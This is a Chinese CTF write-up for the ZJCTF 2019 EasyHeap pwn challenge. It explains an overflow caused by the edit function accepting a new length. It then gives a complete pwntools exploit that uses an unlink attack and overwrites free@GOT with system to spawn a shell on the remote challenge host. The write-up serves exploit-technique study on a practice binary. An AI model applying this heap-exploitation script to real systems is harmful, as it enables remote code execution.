[ZJCTF 2019]EasyHeap的wp

在这里插入图片描述
还是堆题的老三样
1.
在这里插入图片描述
有个指针在这里插入图片描述
2.

在这里插入图片描述
edit根据堆块指针表的指针指过去,编辑堆块,,而且竟然还能重新定义可以输入的长度!!
但是堆块大小申请好了就不变了,所以这里可以随意造成堆溢出。
3.在这里插入图片描述
可以用unlink做

from pwn import *
sh=remote("node3.buuoj.cn",27337)
elf=ELF("./easyheap")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020e8
def add(size,content):
    sh.recvuntil("Your choice :")
    sh.sendline('1')
    sh.recvuntil("Size of Heap : ")
    sh.sendline(str(size))
    sh.recvuntil("Content of heap:")
    sh.sendline(content)

def edit(idx, size, content):
    sh.recvuntil("Your choice :")
    sh.sendline('2')
    sh.recvuntil("Index :")
    sh.sendline(str(idx))
    sh.recvuntil("Size of Heap : ")
    sh.sendline(str(size))
    sh.recvuntil("Content of heap : ")
    sh.sendline(content)

def delete(idx):
    sh.recvuntil("Your choice :")
    sh.sendline('3')
    sh.recvuntil("Index :")
    sh.sendline(str(idx))

add(0x100,'aaaa')
add(0x20,'bbbb')
add(0x80,'cccc')
#创建三个chunk

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)
#布置好fake chunk的数据,修改chunk2的头部,ptr是chunk1指针的存放地址
delete(2)
#unlink,实现对bss段heaparray数组处数据的控制
payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+b"/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
sh.interactive()
#修改chunk0的指针为free_got,向bss段写入"/bin/sh",修改chunk2指针为指向"/bin/sh"的指针,然后编辑chunk0,因为chunk0指针已经被改成free_got了,这时修改的就是free_got,把其修改为system函数的plt地址
#这时候执行free(chunk2)的操作时,就都相当于执行system("/bin/sh")
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值